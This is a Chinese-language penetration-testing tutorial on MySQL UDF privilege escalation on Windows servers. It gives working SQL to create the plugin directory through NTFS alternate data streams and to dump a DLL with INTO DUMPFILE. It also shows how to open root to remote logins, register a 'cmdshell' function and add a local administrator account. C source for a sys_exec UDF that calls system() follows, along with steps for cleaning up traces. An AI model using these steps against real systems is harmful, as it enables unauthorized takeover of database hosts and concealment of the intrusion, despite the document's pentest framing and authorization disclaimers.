MySQL udf
MySQL udf(user defined function,用户定义函数)是MySQL提供的一种高效创建函数的方式。用户可以利用udf函数来增强MySQL的功能。
udf函数按其运行模式可以分为单次调用型和聚集函数型两类。单次调用型函数能够在每次数据库查询时对每一行记录进行处理,这对于用户的数据处理需求非常有用。另一方面,聚集函数型函数则用于处理Group By等聚集查询。这种函数可以利用聚集查询的结果,为用户展示更加详细的数据分析结果。
udf提权
攻击者编写调用系统cmd命令(linux下相当于调用shell命令)的
udf.dll
文件,并将udf.dll导出到指定目录下,攻击者创建一个指向udf.dll的自定义函数func,在数据库查询中执行func函数等价于在cmd命令中执行命令。创建自定义函数,需要将udf.dll
文件存放到MySQL认可的目录中。针对不同操作系统和不同版本MySQL,提权时导出udf.dll
存放的目录都不一样。Windows 2000操作系统需要导出udf.dll到
c:\winnt\
目录下。Windows2003操作系统导出udf.dll到c:\windows\
目录下。在MySQL 5.1版本及以后的环境下,udf提权时需要将udf.dll导出到mysql安装目录\lib\plugin\
目录下。NTFS ADS创建目录
- udf.dll文件:这是一个包含用户自定义函数(UDF)的动态链接库。为了在MySQL中使用这些自定义函数,需要将udf.dll文件放在MySQL安装目录的
\lib\plugin\
目录下。
- MySQL文件操作:MySQL中的文件操作通常用于读取、写入和管理文件。
- NTFS交换数据流(NTFS ADS):这是NTFS文件系统的一个特性,允许在单个文件中包含多个数据流。每个数据流都有一个完整的格式,如:
<filename>:<streamname>:<stream type>
。当只有一个数据流时,通常可以省略streamname
和stream type
。
- NTFS ADS流的用途:在这个例子中,NTFS ADS流被用于创建目录。当
attribute type
为$INDEX_ALLOCATION
时,表明该数据流的宿主是一个文件夹。通过将数据导出到directory_path::$INDEX_ALLOCATION
文件,可以创建一个名为directory_path
的目录。
为了帮助您更好地理解这个过程,以下是一个简化和细化的说明:
在MySQL 5.1及以后的版本中,将udf.dll文件导出到MySQL安装目录的
\lib\plugin\
目录下可能会遇到一些问题,因为MySQL文件操作无法直接创建目录。为了解决这个问题,可以利用NTFS文件系统的一个特性,即NTFS交换数据流(NTFS ADS),在单个文件中包含多个数据流。为了利用这个特性,首先要了解每个数据流的完整格式:
<filename>:<streamname>:<stream type>
。当attribute type为$INDEX_ALLOCATION
时,表示该数据流的宿主是一个文件夹。因此,可以通过将数据导出到directory_path::$INDEX_ALLOCATION
文件来创建一个名为directory_path的目录。通过这种方法,可以成功地将udf.dll文件导出到MySQL安装目录的
\lib\plugin\
目录下,从而在MySQL中使用这些用户自定义函数(UDF)。以MySQL 5.7版本为例,假设MySQL安装在
C:\Program Files\MySQL\MySQL Server 5.7
目录下,我们将演示如何使用NTFS ADS创建目录并将udf.dll文件导出到\lib\plugin\
目录下。- 首先,在MySQL中创建一个表,用于存储要导出的数据。例如:
CREATE TABLE test_tbl(data LONGBLOB);
- 然后,将udf.dll文件读取为二进制数据并插入到刚刚创建的表中:
INSERT INTO test_tbl(data) VALUES(LOAD_FILE('C:\\path\\to\\udf.dll'));
- 接下来,我们将利用NTFS ADS在MySQL安装目录下创建
\lib\plugin\
目录:
SELECT data INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.7\\lib::$INDEX_ALLOCATION' FROM test_tbl;
此时,MySQL安装目录下应该有一个名为
lib
的新目录。- 最后,将udf.dll文件导出到新创建的
\lib\plugin\
目录下:
SELECT data INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.7\\lib\\plugin\\udf.dll' FROM test_tbl;
至此,我们已经将udf.dll文件成功导出到MySQL安装目录的
\lib\plugin\
目录下。现在,可以在MySQL中使用udf.dll中包含的用户自定义函数(UDF)了。请注意,此示例仅用于说明NTFS ADS创建目录和导出文件的过程,实际操作可能会受到不同环境和权限设置的限制。渗透步骤
渗透测试过程中,遇到两种测试场景:
- 服务器管理者为便于远程维护MySQL数据库,开启了远程连接功能,测试人员通过文件包含漏洞获得访问MySQL数据库的用户名和密码信息;
- 测试人员成功获取该网站的webshell权限,测试人员可以上传文件到服务器,但是由于管理员权限配置严格,webshell权限无法运行可执行文件。
MySQL udf提权分为三个步骤:
- 信息收集及提权前准备操作(操作系统信息和MySQL数据库版本信息共同决定了udf提权时dll文件导出的位置,通过获取目标服务器的操作系统信息和MySQL数据库版本信息为后续提权奠定基础。)
systeminfo
(系统状态)nmap target -O
(系统状态)mysql.exe -V
(数据库版本)select version();
(数据库版本)- NTFS格式硬盘下创建文件夹 \lib\plugin
select ‘xxx’ into outfile ‘xxx\\xxx\\lib\::$INDEX_ALLOCATION’;
select ‘xxx’ into outfile ‘xxx\\xxx\\lib\\plugin\::$INDEX_ALLOCATION’;
- MySQL开启远程连接场景下的udf提权
- 开启目标主机的MySQL远程连接
- 创建临时表
- 将udf.dll二进制数据插入临时表temp_udf中,$binaryCode为udf.txt文件中复制的内容。
- 将udf.dll导出到mysql安装目录下的lib/plugin/udf.dll文件中
- 删除临时表
- 创建cmdshell函数
- 添加超级管理员
use mysql; update user set host = '%' where user = 'root'; select host,user,password from user; GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'mypassword' WITH GRANT OPTION; FLUSH PRIVILEGES;
CREATE TABLE temp_udf(udf BLOB);
INSERT into temp_udf values (CONVERT($binaryCode,CHAR)); # 这段 SQL 语句意思是将二进制字符串 $binaryCode 转换为字符类型并插入到 temp_udf 表中。具体来说,CONVERT 函数将二进制字符串转换为相应的字符,然后 VALUES 语句将其插入到 temp_udf 表中。
SELECT udf FROM Temp_udf INTO DUMPFILE "C:/mysql/mysql-5.1.40-win32/lib/plugin/udf.dll"
DROP TABLE Temp_udf
create function cmdshell returns string soname 'udf.dll' # 这是 MySQL 中创建 UDF(用户定义函数)的语句,UDF 是用户自定义的函数库,可以通过 SQL 语句来调用。这里的 soname 是指指定用于加载函数库的共享库文件,这里是 udf.dll。cmdshell 则是自定义的函数名,该函数的返回值类型为字符串。可以使用该函数来执行操作系统命令,并将命令输出作为字符串返回。
select cmdshell('net user udftester 123456 /add & net localgroup administrators udftester /add')
- 已获取Webshell权限场景下的udf提权(已经获取webshell权限,测试人员可以上传php脚本,由于管理员安全策略设置严谨,测试人员无法在系统上直接执行操作系统命令,udf提权能够将webshell权限提升为管理员权限。)
案例二:
- 确认权限:首先,攻击者需要具有足够的权限,以便在MySQL服务器上创建和执行UDF。通常,这需要拥有SUPER权限或其他足够的数据库权限。
- 编写UDF代码:攻击者需要编写一个自定义函数,这个函数将执行想要进行的提权操作。这通常使用C或C++编写,并使用MySQL提供的UDF API。
例如,一个简单的UDF示例,用于在Windows系统上执行命令:
#include <stdio.h> #include <stdlib.h> #include <mysql.h> #ifdef _WIN32 #include <Windows.h> #define EXPORT __declspec(dllexport) #else #define EXPORT #endif EXPORT void sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error); EXPORT my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message); EXPORT my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { if (args->arg_count != 1 || args->arg_type[0] != STRING_RESULT) { strcpy(message, "Expected one string argument"); return 1; } return 0; } EXPORT void sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { system(args->args[0]); }
- 编译UDF:编写完UDF代码后,攻击者需要将其编译为动态链接库(在Windows上为DLL文件,在Linux上为so文件)。
- 上传UDF:攻击者需要将编译好的动态链接库文件上传到MySQL服务器上的插件目录中。这通常需要文件系统访问权限,但在某些情况下,可以通过MySQL内部的文件操作函数(如
LOAD_FILE
、INTO OUTFILE
等)实现。
- 注册UDF:将动态链接库文件上传到服务器后,攻击者需要在MySQL中注册UDF。这可以通过调用
CREATE FUNCTION
语句实现:
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'my_udf.dll';
- 使用UDF提权:注册成功后,攻击者可以在SQL查询中调用自定义函数来执行提权操作:
SELECT sys_exec('net user attacker AttackerPassword /add');
这个例子将在Windows系统上创建一个名为"attacker"的新用户,并设置其密为"AttackerPassword"。
请注意,UDF提权仅在攻击者已经具有足够的数据库权限或能够以某种方式上传和注册UDF的情况下才可行。此外,UDF提权可能会触发安全警报或被安全防护措施阻止。在进行实际操作之前,请务必确保您已获得适当的授权并遵守相关法规。
- 清理痕迹:为了降低被发现的风险,攻击者通常会在完成提权操作后删除创建的UDF和动态链接库文件。这可以通过在MySQL中执行DROP FUNCTION语句以及手动删除动态链接库文件来实现。
DROP FUNCTION sys_exec;
请注意,这种提权方法具有一定的风险性,可能会导致数据库损坏或系统不稳定。在测试或实际使用时,请务必谨慎操作。
总结一下,MySQL的UDF提权是利用自定义函数在数据库层面执行操作系统命令的一种技术。攻击者需要足够的数据库权限以及文件系统访问权限来实现这一目标。通过编写、编译和注册UDF,攻击者可以在具有适当权限的情况下执行提权操作。然而,这种方法具有一定的风险性,并可能引起安全警报。在实际操作中,务必确保遵守相关法规并获得适当的授权。